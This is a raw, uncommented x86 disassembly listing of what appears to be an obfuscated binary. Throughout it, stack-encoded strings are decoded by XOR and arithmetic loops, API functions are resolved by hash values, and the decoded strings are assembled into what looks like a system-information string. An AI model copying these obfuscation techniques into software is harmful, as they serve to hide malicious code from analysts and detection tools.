push dword [esp + 0x10]
call fcn.00445ed0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ec78]
mov ebp, edi
mov esi, dword [esp]
jmp dword [0x44ed08]
mov dword [esp + 0x14], edi
push 0
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
call fcn.004461b0
add esp, 0xc
mov edx, dword [esp + 0x18]
test eax, eax
setns al
cmp edx, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44ec80]
mov dword [esp + 0x70], ebx
jmp dword [0x44ec88]
push edx
mov edi, edx
call fcn.0040c820
add esp, 4
push 0
push edi
push eax
push dword [esp + 0x18]
call fcn.00446260
mov edx, edi
add esp, 0x10
nop
push edx
mov ebx, edx
call fcn.0040c820
add esp, 4
mov edi, eax
push 0
push dword [esp + 0x1c]
push eax
push dword [esp + 0x18]
call fcn.00446260
mov edx, ebx
add esp, 0x10
jmp dword [0x44ec94]
mov dword [esp + 0x64], edi
not eax
shr eax, 0x1f
mov edx, eax
xor eax, eax
mov ecx, dword [esp]
mov ebx, dword [esp + 0x70]
jmp dword [edx*4 + 0x44ec98]
add ecx, 2
mov dword [esp + 4], eax
test dx, dx
je 0x42d6d0
mov edi, eax
movzx edx, word [ecx]
mov eax, ecx
cmp dx, 0x5c
je 0x42d6b0
mov eax, edi
jmp 0x42d6b0
mov ecx, dword [esp]
xor eax, eax
jmp dword [0x44ecac]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x44ecb0]
xor edi, edi
xor eax, eax
jmp 0x42d704
jmp dword [0x44ecc0]
mov edi, dword [esp + 4]
sub edi, dword [esp]
sar edi, 1
inc edi
mov eax, ebx
sub eax, edi
add eax, 0x1b
push eax
call fcn.0040c820
add esp, 4
mov dword [esp + 0x60], eax
mov dword [esp + 4], edi
sub ebx, edi
mov dword [esp + 0x1c], 0xf8faf8ab
mov dword [esp + 0x20], 0xffc9fbfe
mov dword [esp + 0x24], 0xfe98b3f8
mov dword [esp + 0x28], 0x84c3fcfc
mov dword [esp + 0x2c], 0xf2cecae6
mov dword [esp + 0x30], 0xb0faf8c8
mov word [esp + 0x34], 0x92b1
mov byte [esp + 0x36], 0x42
mov dword [esp + 0x37], 0
mov eax, 0x97
mov ecx, 0x68
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, eax
and edi, 0x89
mov edx, ecx
and edx, 0x76
or edx, edi
xor dl, byte [esp + eax - 0x7b]
xor dl, 0x76
add dl, 0xd
mov byte [esp + eax - 0x7b], dl
inc eax
dec ecx
cmp eax, 0xb6
jne 0x42d770
add ebp, dword [esp + 4]
movzx ecx, byte [esp + 0x1c]
mov edi, dword [esp + 0x60]
mov eax, edi
test cl, cl
je 0x42d7bb
lea edx, [esp + 0x1d]
mov eax, edi
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42d7b0
mov byte [eax], 0
test ebx, ebx
mov edi, dword [esp + 0x14]
je 0x42d7f4
mov ecx, dword [esp + 4]
add ecx, esi
sub edi, ecx
add edi, 0xfffffff5
mov esi, ebx
and esi, 3
je 0x42d7f8
xor edx, edx
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + edx], cl
inc edx
cmp esi, edx
jne 0x42d7da
add eax, edx
sub ebx, edx
mov edx, eax
jmp 0x42d7f8
mov edx, eax
jmp 0x42d83a
cmp edi, 3
jb 0x42d83a
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + 2], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
lea edx, [eax + 4]
mov byte [eax + 3], cl
mov eax, edx
add ebx, 0xfffffffc
jne 0x42d7fd
mov byte [edx], 0
mov ecx, dword [esp + 0xd0]
push dword [esp + 0x18]
push dword [esp + 0x68]
mov esi, dword [esp + 0x68]
push esi
call fcn.0040d170
mov ecx, dword [esp + 8]
and cl, 1
or cl, al
mov dword [esp + 8], ecx
jmp dword [0x44ecc8]
jmp dword [0x44ecd0]
push esi
call fcn.0040c830
add esp, 4
push esi
call fcn.0040c830
add esp, 4
jmp dword [0x44ecdc]
mov eax, dword [case.0x42d55e.18]
nop
nop
nop
nop
jmp eax
jmp dword [0x44ecf0]
push dword [esp + 0x64]
call fcn.0040c830
add esp, 4
mov eax, dword [case.0x42d55e.12]
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov edi, dword [esp + 0xc]
mov dword [esp + 0x1c], 0x700f0e0d
lea eax, [esp + 0x27]
mov byte [eax - 5], 0
mov word [eax - 7], 0
mov ecx, 0xbd
mov edx, 0x42
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0xa1]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0x4e
sub al, bl
mov byte [esp + ecx - 0xa1], al
inc ecx
dec edx
cmp ecx, 0xc4
jne 0x42d8e0
mov ecx, dword [0x452b74]
test ecx, ecx
je 0x42d938
mov edx, dword [esp + 0x1c]
xor esi, esi
mov ebx, dword [0x452b78]
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0xb62b8d10
je 0x42d930
inc esi
cmp ecx, esi
jne 0x42d920
jmp 0x42d938
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
jne 0x42d971
mov edi, dword [esp + 0x14]
mov ebp, edi
mov esi, dword [esp]
jmp dword [0x44ed08]
jmp dword [0x44ed14]
push esi
call fcn.0040c830
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.0040c830
add esp, 4
mov ebp, edi
jmp dword [0x44ed1c]
push edi
push 1
push ecx
push dword [0x452b7c]
call fcn.00442710
add esp, 0x10
mov edi, dword [esp + 0x14]
mov ebp, edi
mov esi, dword [esp]
jmp dword [0x44ed08]
mov eax, dword [case.0x42ad0f.261]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44ed48]
push dword [esp + 0x74]
call fcn.0040c830
add esp, 4
mov eax, dword [esp + 8]
and al, 1
add esp, 0xbc
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebp, dword [esp + 0x10]
mov dword [esp + 0x1c], 0x700f0e0d
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov ecx, 0xbd
mov edx, 0x42
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0xa1]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0x4e
sub al, bl
mov byte [esp + ecx - 0xa1], al
inc ecx
dec edx
cmp ecx, 0xc4
jne 0x42d9f0
mov ecx, dword [0x452b74]
test ecx, ecx
je case.0x42ad0f.255
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x452b78]
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42da40
inc esi
cmp ecx, esi
jne 0x42da30
jmp case.0x42ad0f.255
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x42ad0f.255
push ebp
push 1
push ecx
push dword [0x452b7c]
call fcn.00442710
add esp, 0x10
mov ebp, dword [esp + 0x10]
mov dword [esp + 0x1c], 0x700f0e0d
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov ecx, 0xbd
mov edx, 0x42
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0xa1]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0x4e
sub al, bl
mov byte [esp + ecx - 0xa1], al
inc ecx
dec edx
cmp ecx, 0xc4
jne 0x42da80
mov ecx, dword [0x452b74]
test ecx, ecx
je 0x42dad8
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x452b78]
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42dad0
inc esi
cmp ecx, esi
jne 0x42dac0
jmp 0x42dad8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42dade
jmp dword [0x44ed30]
push ebp
push 1
push ecx
push dword [0x452b7c]
call fcn.00442710
add esp, 0x10
jmp dword [0x44ed30]
int3
mov dword [esi + 0x1c], eax
jmp dword [0x44f428]
mov dword [ebx], 0x202d090a
add ebx, 4
mov ecx, ebx
mov edx, dword [edi + 8]
movzx ebx, byte [edx]
test bl, bl
je 0x42faeb
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], bl
inc ecx
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x42fae0
mov byte [ecx], 0
xor eax, eax
cmp byte [edi + 4], 3
setb al
mov ebx, ecx
jmp dword [eax*4 + 0x44f480]
mov dword [esi + 0x10], edi
lea edx, [esi + 0x65]
lea edi, [esi + 0xc2]
jmp dword [0x44f48c]
mov byte [ebx], 0x20
jmp dword [0x44f494]
mov eax, dword [esi + 0x10]
movzx eax, byte [eax + 4]
xor ecx, ecx
test al, al
sete cl
jmp dword [ecx*4 + 0x44f498]
xor ecx, ecx
cmp al, 1
sete cl
jmp dword [ecx*4 + 0x44f4a0]
mov dword [esi + 0xbc], 0x55544a47
mov word [esi + 0xc0], 0x9d41
mov byte [edi + 2], 0
mov word [edi], 0
mov edx, 0xda
mov edi, 0x25
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + edx - 0x1e]
mov eax, edi
or eax, ecx
not ecx
or ecx, edx
and ecx, eax
mov al, 0xbd
sub al, cl
mov byte [esi + edx - 0x1e], al
inc edx
dec edi
cmp edx, 0xe3
jne 0x42fbf0
lea edx, [esi + 0xbc]
jmp 0x42fc8f
mov edi, dword [esi + 0x10]
inc ebx
mov ecx, ebx
movzx ebx, byte [edx]
test bl, bl
je 0x42fcab
inc edx
nop
nop
nop
mov byte [ecx], bl
inc ecx
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x42fca0
mov byte [ecx], 0
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
mov ebx, ecx
jmp dword [eax*4 + 0x44f4a8]
mov dword [esi + 0x714], 0x64a2acaa
mov dword [esi + 0x718], 0xf357
mov eax, 0xf2bc7f7d
mov edx, 0x82
lea ecx, [esi + 0x714]
mov dword [esi + 0x10], ecx
nop
nop
nop
mov dword [esi + 0xc], edx
movzx ecx, byte [esi + eax + 0xd438797]
mov edx, dword [esi + 0xc]
xor edx, eax
and edx, ecx
xor edx, eax
mov ebx, edx
and ebx, 0x8c
mov edi, edx
and edi, 2
mov ecx, edi
xor ecx, 2
imul ecx, ebx
or ebx, 2
imul ebx, edi
xor edx, 0x8e
add edx, ecx
add edx, ebx
inc dl
mov byte [esi + eax + 0xd438797], dl
mov edx, dword [esi + 0xc]
inc eax
dec edx
cmp eax, 0xf2bc7f85
jne 0x42fd10
jmp case.0x42ad0f.282
movzx eax, al
jmp dword [eax*4 + 0x44f470]
jmp 0x42fe4d
mov byte [esi + 0xbc], 0
mov dword [esi + 0x614], 0x101
push 0xebbb107d
push dword [esi + 0x714]
call fcn.004454d0
add esp, 8
lea ecx, [esi + 0x614]
push ecx
push edi
call eax
mov dword [esi + 0x414], 0x7eb2a48a
mov dword [esi + 0x418], 0x655c505f
mov word [esi + 0x41c], 0xa988
mov dword [esi + 0x41e], 0
mov byte [esi + 0x422], 0
xor eax, eax
mov edx, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xdc
xor cl, byte [esi + eax + 0x414]
add cl, 0xb4
mov byte [esi + eax + 0x414], cl
inc eax
cmp eax, 0xf
jne 0x42fde0
movzx eax, byte [esi + 0x414]
test al, al
je 0x42fe1b
lea ecx, [esi + 0x415]
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fe10
mov byte [edx], 0
movzx eax, byte [esi + 0xbc]
test al, al
je 0x42fe3b
lea ecx, [esi + 0xbd]
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fe30
mov dword [esi + 0xc], edx
mov byte [edx], 0
push dword [esi + 0x714]
call dword [0x451960]
push 0xe810d870
push dword [0x452b68]
call fcn.004454d0
add esp, 8
mov byte [esi + 0x414], 0
mov dword [esi + 0x48], 0x200
lea edx, [esi + 0x48]
lea ecx, [esi + 0x414]
push edx
push ecx
push 6
mov dword [esi + 0x14], eax
call eax
mov dword [esi + 0xbc], 0x9bf6fcde
mov dword [esi + 0xc0], 0xbab3a0a7
mov dword [esi + 0xc4], 0xdffe97a2
mov byte [esi + 0xc8], 0
mov edi, 0xc2f049ce
mov ecx, 0x3d0fb631
nop
mov dword [esi + 0x10], ecx
movzx edx, byte [esi + edi + 0x3d0fb6ee]
mov ebx, dword [esi + 0x10]
and ebx, 0x3d0f8406
mov eax, edi
and eax, 0x806041d9
or eax, ebx
xor eax, edx
xor eax, 0x7f9f8c06
or eax, dword [esi + 0x10]
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x806041dd
and eax, 2
imul eax, ecx
mov ecx, ebx
and ecx, 2
or ebx, 2
imul ebx, ecx
sub edx, eax
sub edx, ebx
mov ecx, dword [esi + 0x10]
add edx, edi
mov eax, edx
and eax, 0x79
xor edx, 0xf9
lea eax, [edx + eax*2]
inc al
mov byte [esi + edi + 0x3d0fb6ee], al
inc edi
dec ecx
cmp edi, 0xc2f049db
jne 0x42feb0
movzx eax, byte [esi + 0xbc]
test al, al
je 0x42ff4d
lea ecx, [esi + 0xbd]
mov edx, dword [esi + 0xc]
lea edi, [esi + 0x714]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ff40
jmp 0x42ff56
mov edx, dword [esi + 0xc]
lea edi, [esi + 0x714]
mov byte [edx], 0
movzx eax, byte [esi + 0x414]
test al, al
je 0x42ff7b
lea ecx, [esi + 0x415]
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ff70
mov dword [esi + 0xc], edx
mov byte [edx], 0
mov byte [esi + 0x714], 0
mov dword [esi + 0x44], 0x200
lea eax, [esi + 0x44]
push eax
push edi
push 5
call dword [esi + 0x14]
mov dword [esi + 0xbc], 0xa18ab8ea
mov dword [esi + 0xc0], 0x7f7a7a79
mov dword [esi + 0xc4], 0x8f79404b
mov word [esi + 0xc8], 0xd7b0
mov dword [esi + 0xca], 0
mov word [esi + 0xce], 0
mov eax, 0x7c1fe057
mov edx, 0x3e01fa8
nop
nop
nop
movzx edi, byte [esi + eax - 0x7c1fdf9b]
mov ecx, edx
or ecx, edi
mov dword [esi + 0x10], edi
lea ebx, [edx - 0x3e01f00]
and ebx, edi
xor ebx, ecx
and ebx, eax
mov edi, ebx
and edi, 2
mov ecx, ebx
or ebx, 2
imul ebx, edi
xor edi, 2
and ecx, 0x7d
imul ecx, edi
add ebx, ecx
lea ecx, [edx - 0x3e01f80]
and ecx, ebx
xor ebx, eax
add ecx, ecx
not ecx
add ecx, ebx
add cl, byte [esi + 0x10]
add cl, 0x4e
mov byte [esi + eax - 0x7c1fdf9b], cl
inc eax
dec edx
cmp eax, 0x7c1fe06b
jne 0x42ffe0
movzx eax, byte [esi + 0xbc]
test al, al
je 0x43005d
lea ecx, [esi + 0xbd]
mov ebx, dword [esi + 0xc]
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430050
jmp 0x430060
mov ebx, dword [esi + 0xc]
mov byte [ebx], 0
movzx eax, byte [esi + 0x714]
test al, al
je 0x43008b
lea ecx, [esi + 0x715]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430080
mov byte [ebx], 0
mov byte [esi + 0x404], 0
mov dword [esi + 0x40], 0x10
lea eax, [esi + 0x40]
lea ecx, [esi + 0x404]
push eax
push ecx
push 4
call dword [esi + 0x14]
mov dword [esi + 0xbc], 0xdb8ab86a
mov dword [esi + 0xc0], 0xa2a8fbc3
mov dword [esi + 0xc4], 0xb18ce6dd
mov byte [esi + 0xc8], 0x50
mov dword [esi + 0xc9], 0
mov dword [esi + 0xcc], 0
mov eax, 0x9b3b8997
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax + 0x64c47725]
lea edx, [eax + 0x64c47700]
or edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
and edx, 0xc
xor ecx, 0xc
lea ecx, [ecx + edx*2]
inc cl
mov byte [esi + eax + 0x64c47725], cl
inc eax
cmp eax, 0x9b3b89ab
jne 0x4300f0
movzx eax, byte [esi + 0xbc]
test al, al
je 0x43014b
lea ecx, [esi + 0xbd]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430140
mov byte [ebx], 0
movzx eax, byte [esi + 0x404]
test al, al
je 0x43016b
lea ecx, [esi + 0x405]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430160
mov byte [ebx], 0
mov word [esi + 0x944], 0
push 0xb2aef31b
push dword [0x452b68]
call fcn.004454d0
add esp, 8
lea ecx, [esi + 0x944]
push 0x56
push ecx
call eax
mov dword [esi + 0xbc], 0xc3165c7e
mov dword [esi + 0xc0], 0xeed9e7d5
mov dword [esi + 0xc4], 0x39d3dad1
mov dword [esi + 0xc8], 0x7d1c
xor eax, eax
nop
movzx edx, byte [esi + eax + 0xbc]
lea edi, [eax - 0xd7c2bc2]
lea ecx, [eax*2 - 0x1af85784]
neg ecx
add ecx, eax
add ecx, 0x3d
xor ecx, edi
and ecx, edx
xor ecx, edi
add cl, 0xca
mov byte [esi + eax + 0xbc], cl
mov ecx, eax
xor ecx, 1
and eax, 1
lea eax, [ecx + eax*2]
cmp eax, 0x10
jb 0x4301c0
movzx eax, byte [esi + 0xbc]
test al, al
je 0x43021b
lea ecx, [esi + 0xbd]
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430210
mov byte [ebx], 0
movzx edx, word [esi + 0x944]
mov edi, ebx
test dx, dx
lea eax, [esi + 0x944]
je 0x43034a
mov ecx, 0x55
mov edi, ebx
mov dword [esi + 0xc], ebx
movzx ebx, dx
lea edx, [eax + 2]
cmp bx, 0x7f
ja 0x430260
mov byte [edi], bl
lea eax, [edi + 1]
jmp 0x4302f0
cmp ebx, 0x7ff
ja 0x430290
cmp ecx, 2
jb 0x430290
mov eax, ebx
shr eax, 6
or al, 0xc0
mov byte [edi], al
and bl, 0x3f
or bl, 0x80
lea eax, [edi + 2]
mov byte [edi + 1], bl
jmp 0x4302f0
mov dword [esi + 0x10], eax
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x43030d
cmp ecx, 4
jb 0x43030d
mov eax, dword [esi + 0x10]
movzx edx, word [eax + 2]
shl ebx, 0xa
lea eax, [ebx + edx]
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [edi], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edi + 2], al
mov ebx, dword [esi + 0x10]
add ebx, 4
and dl, 0x3f
or dl, 0x80
mov byte [edi + 3], dl
lea eax, [edi + 4]
mov edx, ebx
nop
nop
mov ebx, dword [esi + 0xc]
add ecx, edi
sub ecx, eax
mov edi, eax
mov eax, edx
movzx edx, word [eax]
test dx, dx
je 0x43034a
test ecx, ecx
jne 0x430240
jmp 0x43034a
movzx eax, ax
cmp eax, 0xdc00
jne 0x43031e
mov eax, edx
mov ebx, dword [esi + 0xc]
jmp 0x4302fb
cmp ecx, 3
jb 0x430346
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [edi], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edi + 1], al
and bl, 0x3f
or bl, 0x80
lea eax, [edi + 3]
mov byte [edi + 2], bl
jmp 0x4302f0
mov eax, edi
jmp 0x4302f0
mov byte [edi], 0
mov eax, edi
xor eax, ebx
mov ecx, ebx
not ecx
and ecx, edi
add ecx, ecx
sub ecx, eax
mov dword [esi + 0xbc], 0xf62a183a
mov dword [esi + 0xc0], 0x25d1cbda
mov dword [esi + 0xc4], 0xcaccd4ee
mov word [esi + 0xc8], 0xf9cd
mov byte [esi + 0xca], 0xbe
mov word [esi + 0xcb], 0
mov eax, 0xf3
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax - 0x37]
mov edi, eax
and edi, edx
add edi, edi
sub edx, edi
add edx, eax
add edx, 0xf3b50400
mov edi, edx
and edi, 0x40
xor edx, 0x40
lea edx, [edx + edi*2]
inc dl
mov byte [esi + eax - 0x37], dl
inc eax
cmp eax, 0x104
jne 0x4303a0
add ebx, ecx
movzx eax, byte [esi + 0xbc]
test al, al
je 0x4303fb
lea ecx, [esi + 0xbd]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4303f0
mov byte [ebx], 0
call fcn.00434840
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x14], eax
mov edi, eax
jmp dword [ecx*4 + 0x44f478]
mov byte [edi], 0xa
inc edi
lea eax, [esi + 0xbc]
push eax
call fcn.004318f0
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x44f438]
jmp 0x430f7e
mov dword [esi + 0x18], edi
lea eax, [esi + 0x714]
push 0xa
push 0xb
push eax
push dword [esi + 0xbc]
call fcn.004229c0
add esp, 0x10
mov dword [esi + 0x3c], eax
lea eax, [esi + 0x614]
push 0xa
push 0xb
push eax
push dword [esi + 0xc0]
call fcn.004229c0
add esp, 0x10
mov dword [esi + 0x1c], eax
lea eax, [esi + 0x944]
push 0xa
push 0xb
push eax
push dword [esi + 0xc4]
call fcn.004229c0
add esp, 0x10
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x38], eax
mov dword [esi + 0x414], 0xc222cca
mov dword [esi + 0x418], 0x62702577
mov dword [esi + 0x41c], 0x64635a5a
mov dword [esi + 0x420], 0xcf2e1762
mov word [esi + 0x424], 0
xor edx, edx
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esi + 0xc], edx
movzx edi, byte [esi + eax + 0x414]
mov dword [esi + 0x10], edi
mov edx, dword [esi + 0xc]
and edx, 0x20
mov ecx, eax
xor ecx, 0xd04f62b0
add ecx, edx
mov ebx, ecx
and ebx, edi
mov edi, ebx
or edi, 0xfffffffd
inc edi
mov edx, ebx
and edx, 0xfffffffd
imul edx, edi
mov edi, ebx
and edi, 2
or ebx, 2
imul ebx, edi
sub edx, ebx
add ecx, dword [esi + 0x10]
add ecx, edx
mov edx, ecx
and edx, 0xf
xor ecx, 0x8f
lea ecx, [ecx + edx*2]
mov edx, dword [esi + 0xc]
inc cl
mov byte [esi + eax + 0x414], cl
inc eax
add edx, 2
cmp eax, 0x12
jne 0x430a60
movzx eax, byte [esi + 0x414]
test al, al
je 0x430aed
lea ecx, [esi + 0x415]
mov edi, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430ae0
jmp 0x430af3
mov edi, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
mov byte [edi], 0
mov ecx, dword [esi + 0x38]
movzx eax, byte [ecx]
test al, al
mov ebx, dword [esi + 0x3c]
je 0x430b1b
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430b10
mov word [edi], 0x2820
add edi, 2
movzx eax, byte [ebx]
test al, al
je 0x430b3d
inc ebx
mov ecx, dword [esi + 0x14]
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x430b30
jmp 0x430b40
mov ecx, dword [esi + 0x14]
mov byte [edi], 0x2e
inc edi
movzx eax, byte [edx]
test al, al
je 0x430b5b
inc edx
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [edx]
inc edx
test al, al
jne 0x430b50
mov byte [edi], 0x2e
inc edi
movzx eax, byte [ecx]
test al, al
je 0x430b7b
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430b70
mov byte [edi], 0x29
inc edi
lea eax, [esi + 0x60]
push eax
call fcn.00445d00
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x44f440]
mov dword [esi + 0x18], edi
jmp 0x430ca1
mov byte [edi], 0x20
xor eax, eax
cmp dword [esi + 0x60], 1
sete al
jmp dword [eax*4 + 0x44f448]
mov ebx, edi
mov dword [esi + 0x414], 0x337e7fb8
mov word [esi + 0x418], 0
mov byte [esi + 0x41a], 0
mov ecx, 0xfffffff9
lea eax, [esi + 0x414]
mov dword [esi + 0x10], eax
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + ecx + 0x41b]
lea edx, [ecx - 0x5647746d]
lea edi, [ecx + 0x53711793]
and edi, eax
or edx, eax
mov eax, edx
not eax
lea eax, [edx + eax*2]
inc eax
or eax, edi
mov dl, 0x43
sub dl, al
mov byte [esi + ecx + 0x41b], dl
inc ecx
jne 0x430be0
mov edi, ebx
jmp case.0x42ad0f.274
mov dword [esi + 0x414], 0x498486c4
mov word [esi + 0x418], 0
mov ecx, 0x8830ac13
mov dword [esi + 0xc], 0x77cf53ee
lea eax, [esi + 0x414]
mov dword [esi + 0x10], eax
nop
nop
nop
nop
movzx eax, byte [esi + ecx + 0x77cf5801]
mov edx, ecx
and edx, eax
lea ebx, [ecx + eax]
add edx, edx
add eax, dword [esi + 0xc]
not eax
or eax, ebx
sub ebx, edx
and eax, 1
or ebx, 1
add ebx, eax
add bl, 0xa0
mov byte [esi + ecx + 0x77cf5801], bl
inc ecx
dec dword [esi + 0xc]
cmp ecx, 0x8830ac19
jne 0x430c40
inc edi
mov eax, dword [esi + 0x10]
movzx ecx, byte [eax]
test cl, cl
je 0x430c9b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x430c90
mov dword [esi + 0x18], edi
mov byte [edi], 0
mov dword [esi + 0x414], 0x33ded4f6
mov dword [esi + 0x418], 0xf031a6f
mov dword [esi + 0x41c], 0x730725c0
mov dword [esi + 0x420], 0xebca3b01
mov byte [esi + 0x424], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax + 0x414]
lea ecx, [eax - 0x2b434456]
lea ebx, [edx + edx]
not ebx
add ebx, edx
and ebx, ecx
mov ecx, 0x55
sub ecx, eax
and ecx, edx
or ecx, ebx
mov edx, ecx
and edx, 0x4acaa53
xor edx, 0x27afaa53
and ecx, 0xd01011ac
sub ecx, edx
mov edi, ecx
and edi, 0xfe
mov edx, ecx
xor edx, 1
add edx, ecx
sub edx, edi
and ecx, 1
add edx, ecx
mov byte [esi + eax + 0x414], dl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x11
jb 0x430ce0
movzx eax, byte [esi + 0x414]
test al, al
je 0x430d6d
lea ecx, [esi + 0x415]
mov edx, dword [esi + 0x18]
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430d60
jmp 0x430d70
mov edx, dword [esi + 0x18]
mov byte [edx], 0
movzx eax, byte [esi + 0xd0]
test al, al
je 0x430d9b
lea ecx, [esi + 0xd1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430d90
mov dword [esi + 0x18], edx
mov byte [edx], 0
mov dword [esi + 0x414], 0x8dc6d03e
mov dword [esi + 0x418], 0xdd9d949b
mov dword [esi + 0x41c], 0x86888e96
mov dword [esi + 0x420], 0x9995dbf2
mov word [esi + 0x424], 0x37e9
mov dword [esi + 0x426], 0
mov word [esi + 0x42a], 0
mov eax, 0xdf6a750
mov ebx, 0x1bed4ea0
nop
movzx edi, byte [esi + eax - 0xdf6a33c]
mov dword [esi + 0xc], edi
mov ecx, ebx
and ecx, 0x13644692
mov edx, eax
xor edx, 0x7bb32b49
add edx, ecx
add edx, 0xf20958b0
mov dword [esi + 0x10], edx
and edx, edi
mov ecx, edx
and ecx, 0xfffffffd
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
xor edi, 2
imul edi, ecx
sub edx, dword [esi + 0x10]
add edx, edi
mov ecx, edx
mov edi, dword [esi + 0xc]
xor ecx, edi
not edx
and edx, edi
add edx, edx
sub edx, ecx
add dl, 0x93
mov byte [esi + eax - 0xdf6a33c], dl
inc eax
add ebx, 2
